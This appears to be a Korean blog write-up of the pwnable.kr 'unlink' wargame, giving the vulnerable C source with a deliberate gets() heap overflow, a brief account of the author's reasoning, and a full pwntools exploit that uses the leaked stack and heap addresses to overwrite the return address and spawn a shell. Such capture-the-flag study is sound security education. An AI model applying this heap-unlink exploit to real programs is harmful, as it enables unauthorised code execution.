1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8]; }OBJ; void shell(){ system("/bin/sh"); } void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD; } int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)malloc(sizeof(OBJ)); OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C A->fd = B; B->bk = A; B->fd = C; C->bk = B; printf("here is stack address leak: %p\n", &A); printf("here is heap address leak: %p\n", A); printf("now that you have leaks, get shell!\n"); // heap overflow! gets(A->buf); // exploit this unlink! unlink(B); return 0; } | cs |
gets 에서 오버플로우가 일어나므로 unlink 함수를 통해 페이로드를 작성할 수 있다.
사실 처음에는 return address 랑 shell 함수 주소랑 shuffle 해서 시도해봤는데 ret에는 shell 주소가 잘 덮이지만 shell 주소는 코드영역 이므로 write 권한이 없어서 실패했다.
문제에서 괜히 heap address를 주는게 아니라고 생각하고 return address를 heap으로 돌려서 주소계산 해주는 식으로 익스를 작성하였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | from pwn import * p = process('./unlink') e = ELF('./unlink') shell = 0x80484eb p.recvuntil('leak: ') stack = int(p.recvuntil('\n').split('\n')[0], 16) + 0x10 p.recvuntil('leak: ') heap = int(p.recvuntil('\n').split('\n')[0], 16) + 0xc p.recv(1024) print hex(stack) print hex(heap) payload = p32(shell) payload += 'A'*12 payload += p32(heap) payload += p32(stack) p.sendline(payload) p.interactive() | cs |
'Wargame > ▷ pwnable.kr' 카테고리의 다른 글
[pwnable.kr] echo1 (0) | 2018.07.20 |
---|---|
[pwnable.kr] brain fuck (0) | 2018.07.20 |
[pwnable.kr] unexploitable (0) | 2018.07.08 |
[pwnable.kr] Dragon (0) | 2018.07.08 |
[pwnable.kr] simple login (0) | 2018.07.08 |